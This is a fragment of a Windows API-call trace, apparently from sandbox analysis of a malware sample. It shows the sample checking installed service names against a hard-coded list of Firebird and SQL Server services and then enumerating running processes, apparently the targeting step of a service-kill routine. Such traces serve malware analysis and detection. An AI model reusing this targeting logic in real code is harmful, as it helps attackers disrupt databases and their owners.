	[0181.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0181.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0181.857] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0181.857] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0181.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0181.857] lstrlenW (lpString="FontCache") returned 9
	[0181.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0181.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0181.857] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0181.857] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0181.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0181.857] lstrlenW (lpString="gpsvc") returned 5
	[0181.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0181.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0181.857] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0181.857] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0181.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0181.857] lstrlenW (lpString="iphlpsvc") returned 8
	[0181.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0181.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0181.857] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0181.857] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0181.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0181.857] lstrlenW (lpString="KeyIso") returned 6
	[0181.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0181.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0181.857] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0181.857] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0181.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0181.858] lstrlenW (lpString="LanmanServer") returned 12
	[0181.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0181.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0181.858] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0181.858] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0181.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0181.858] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0181.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0181.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0181.858] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0181.858] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0181.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0181.858] lstrlenW (lpString="lfsvc") returned 5
	[0181.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0181.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0181.858] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0181.858] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0181.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0181.858] lstrlenW (lpString="lmhosts") returned 7
	[0181.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0181.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0181.858] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0181.858] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0181.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0181.858] lstrlenW (lpString="LSM") returned 3
	[0181.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0181.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0181.858] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0181.858] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0181.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0181.862] lstrlenW (lpString="MpsSvc") returned 6
	[0181.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0181.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0181.862] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0181.862] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0181.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0181.862] lstrlenW (lpString="NcbService") returned 10
	[0181.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0181.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0181.862] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0181.862] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0181.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0181.862] lstrlenW (lpString="netprofm") returned 8
	[0181.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0181.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0181.862] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0181.862] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0181.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0181.862] lstrlenW (lpString="NgcSvc") returned 6
	[0181.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0181.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0181.863] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0181.863] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0181.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0181.863] lstrlenW (lpString="NlaSvc") returned 6
	[0181.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0181.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0181.863] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0181.863] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0181.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0181.863] lstrlenW (lpString="nsi") returned 3
	[0181.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0181.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0181.863] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0181.863] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0181.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0181.863] lstrlenW (lpString="PcaSvc") returned 6
	[0181.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0181.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0181.863] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0181.863] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0181.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0181.863] lstrlenW (lpString="PlugPlay") returned 8
	[0181.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0181.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0181.863] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0181.863] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0181.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0181.863] lstrlenW (lpString="Power") returned 5
	[0181.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0181.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0181.863] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0181.864] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0181.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0181.864] lstrlenW (lpString="ProfSvc") returned 7
	[0181.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0181.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0181.864] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0181.864] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0181.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0181.864] lstrlenW (lpString="RpcEptMapper") returned 12
	[0181.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0181.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0181.864] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0181.864] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0181.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0181.864] lstrlenW (lpString="RpcSs") returned 5
	[0181.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0181.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0181.864] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0181.864] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0181.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0181.864] lstrlenW (lpString="SamSs") returned 5
	[0181.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0181.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0181.864] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0181.864] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0181.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0181.865] lstrlenW (lpString="Schedule") returned 8
	[0181.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0181.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0181.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0181.865] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0181.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0181.865] lstrlenW (lpString="SecurityHealthService") returned 21
	[0181.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0181.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0181.865] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0181.865] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0181.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0181.865] lstrlenW (lpString="SENS") returned 4
	[0181.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0181.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0181.865] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0181.865] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0181.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0181.865] lstrlenW (lpString="ShellHWDetection") returned 16
	[0181.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0181.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0181.865] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0181.865] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0181.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0181.865] lstrlenW (lpString="Spooler") returned 7
	[0181.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0181.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0181.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0181.865] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0181.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0181.865] lstrlenW (lpString="StateRepository") returned 15
	[0181.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0181.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0181.866] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0181.866] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0181.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0181.866] lstrlenW (lpString="SysMain") returned 7
	[0181.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0181.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0181.866] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0181.866] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0181.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0181.866] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0181.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0181.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0181.866] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0181.866] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0181.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0181.866] lstrlenW (lpString="Themes") returned 6
	[0181.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0181.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0181.866] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0181.866] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0181.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0181.866] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0181.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0181.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0181.866] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0181.866] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0181.867] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0181.867] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x558
	[0181.872] Process32FirstW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0181.873] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0181.873] lstrlenW (lpString="System") returned 6
	[0181.873] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0181.874] lstrlenW (lpString="smss.exe") returned 8
	[0181.874] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0181.874] lstrlenW (lpString="csrss.exe") returned 9
	[0181.874] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0181.875] lstrlenW (lpString="wininit.exe") returned 11
	[0181.875] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0181.876] lstrlenW (lpString="csrss.exe") returned 9
	[0181.876] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0181.876] lstrlenW (lpString="winlogon.exe") returned 12
	[0181.876] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0181.877] lstrlenW (lpString="services.exe") returned 12
	[0181.877] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0181.877] lstrlenW (lpString="lsass.exe") returned 9
	[0181.877] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0181.878] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0181.878] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0181.878] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0181.878] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.879] lstrlenW (lpString="svchost.exe") returned 11
	[0181.879] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.879] lstrlenW (lpString="svchost.exe") returned 11
	[0181.879] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0181.880] lstrlenW (lpString="dwm.exe") returned 7
	[0181.880] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.880] lstrlenW (lpString="svchost.exe") returned 11
	[0181.880] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.881] lstrlenW (lpString="svchost.exe") returned 11
	[0181.881] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.881] lstrlenW (lpString="svchost.exe") returned 11
	[0181.881] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.882] lstrlenW (lpString="svchost.exe") returned 11
	[0181.882] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.882] lstrlenW (lpString="svchost.exe") returned 11
	[0181.882] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.882] lstrlenW (lpString="svchost.exe") returned 11
	[0181.882] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.883] lstrlenW (lpString="svchost.exe") returned 11
	[0181.883] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.883] lstrlenW (lpString="svchost.exe") returned 11
	[0181.883] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.884] lstrlenW (lpString="svchost.exe") returned 11
	[0181.884] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.884] lstrlenW (lpString="svchost.exe") returned 11
	[0181.884] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0181.885] lstrlenW (lpString="spoolsv.exe") returned 11
	[0181.885] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.885] lstrlenW (lpString="svchost.exe") returned 11
	[0181.885] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0181.886] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0181.886] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0181.886] lstrlenW (lpString="SecurityHealthService.exe") returned 25
